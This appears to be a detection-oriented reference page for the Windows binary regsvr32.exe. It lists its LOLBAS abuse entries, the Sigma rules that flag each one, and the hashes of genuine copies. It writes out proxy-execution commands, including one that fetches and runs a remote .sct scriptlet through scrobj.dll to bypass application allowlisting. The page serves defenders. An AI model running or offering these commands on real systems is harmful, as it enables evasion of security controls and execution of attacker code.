Identifier / Programs / Windows
regsvr32.exe
Registers .dll files as command components in the registry. Windows commands reference
LOLBAS AWL Bypass, Execute 59 Sigma rules name it 3 ATT&CK techniques 6 documented commands 12 known copies with hashes
How regsvr32.exe is abused
AWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32
/sPrevents displaying messages. Windows commands reference/nPrevents calling DllRegisterServer. Windows commands reference/uUnregisters server. Windows commands reference/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands referenceAWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32
/sPrevents displaying messages. Windows commands reference/uUnregisters server. Windows commands reference/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands referenceExecute T1218.010 System Binary Proxy Execution: Regsvr32
/sPrevents displaying messages. Windows commands reference/nPrevents calling DllRegisterServer. Windows commands reference/uUnregisters server. Windows commands reference/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands referenceExecute T1218.010 System Binary Proxy Execution: Regsvr32
/sPrevents displaying messages. Windows commands reference/uUnregisters server. Windows commands reference/iPasses an optional command-line string (*cmdline*) to DllInstall. Windows commands referenceExecute T1218.010 System Binary Proxy Execution: Regsvr32
/sPrevents displaying messages. Windows commands referenceExecute T1218.010 System Binary Proxy Execution: Regsvr32
/uUnregisters server. Windows commands reference/sPrevents displaying messages. Windows commands referenceEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for regsvr32.exe.
6 documented commands
AWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32 User privileges
Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dllIdentifyTrips 1 Sigma rule: mediumPotentially Suspicious Regsvr32 HTTP/FTP Pattern by Florian Roth (Nextron Systems)
AWL Bypass T1218.010 System Binary Proxy Execution: Regsvr32 User privileges
Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dllIdentifyTrips 1 Sigma rule: mediumPotential Regsvr32 Commandline Flag Anomaly by Florian Roth (Nextron Systems)
Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges
Execute the specified remote .SCT script with scrobj.dll.
regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dllIdentifyTrips 1 Sigma rule: mediumPotentially Suspicious Regsvr32 HTTP/FTP Pattern by Florian Roth (Nextron Systems)
Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges
Execute the specified local .SCT script with scrobj.dll.
regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dllIdentifyTrips 1 Sigma rule: mediumPotential Regsvr32 Commandline Flag Anomaly by Florian Roth (Nextron Systems)
Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges
Execute code in a DLL. The code must be inside the exported function DllRegisterServer.
regsvr32.exe /s {PATH:.dll}IdentifyTrips no Sigma process-creation rule.
Execute T1218.010 System Binary Proxy Execution: Regsvr32 User privileges
Execute code in a DLL. The code must be inside the exported function DllUnRegisterServer.
regsvr32.exe /u /s {PATH:.dll}IdentifyTrips no Sigma process-creation rule.
4 of the 6 commands the identifier reads trip a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for regsvr32.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for regsvr32.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
And 29 more rules that name regsvr32.exe.
Is it the real regsvr32.exe?
C:\Windows\system32\C:\Windows\SysWOW64\12 known copies
10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\regsvr32.exe · signed by Microsoft Windows
dab97346901ae36ddc4553255da518c4128efd426613cbb66b242daba210c97b10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\regsvr32.exe · signed by Microsoft Windows
efd5df81a12ca00d70e7eff61311d6c097d2455f6edc0c224288e85b2743720210.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\regsvr32.exe · signed by Microsoft Windows
022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b710.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\regsvr32.exe · signed by Microsoft Windows
31aee70f9705f6578c6b41849ea3b5a948a446f494f24befcf5b169a1c2a71d210.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\regsvr32.exe · signed by Microsoft Windows
8ffc7f80efbf746e49f37ea3d140f042cf71ef20b4da2a8f02688e79295da11d10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\regsvr32.exe · signed by Microsoft Windows
f80b4224c670e76e05a70cc5403818b11c7a4ca10542a1f9b5d935e4fca0857910.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\regsvr32.exe · signed by Microsoft Windows
e0e722a00c127e0425d2078e738b7a684c9f55a9bf521c67e9a40d796c8be0e910.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\regsvr32.exe · signed by Microsoft Windows
f098fa150d9199732b4ec2e81528a951503a30f75afebf7e7a48360301758c6710.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\regsvr32.exe · signed by Microsoft Windows
00a1cf85c6ab96df38a4023f0cee4df60f62280768fc9c06a235e6d2d644169d10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\regsvr32.exe · signed by Microsoft Windows
f72ed4d11c9971a9b7ce0a5681ee35968a6b4ccdc2f2b3a9f3e81418605fa4676.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\regsvr32.exe · not signed
7eadc73f8aa77148ca289d5ce5c2632f3a157d313079583454c0421bb97d56466.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\regsvr32.exe · not signed
d248a3ebda8faa54907ef86a9cf4ef3ab9a99a284ec36be410a20fda5f856c77From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Options
Show every option of regsvr32.exe
/uUnregisters server./sPrevents displaying messages./nPrevents calling DllRegisterServer./iPasses an optional command-line string (*cmdline*) to DllInstall./?Displays help at the command prompt.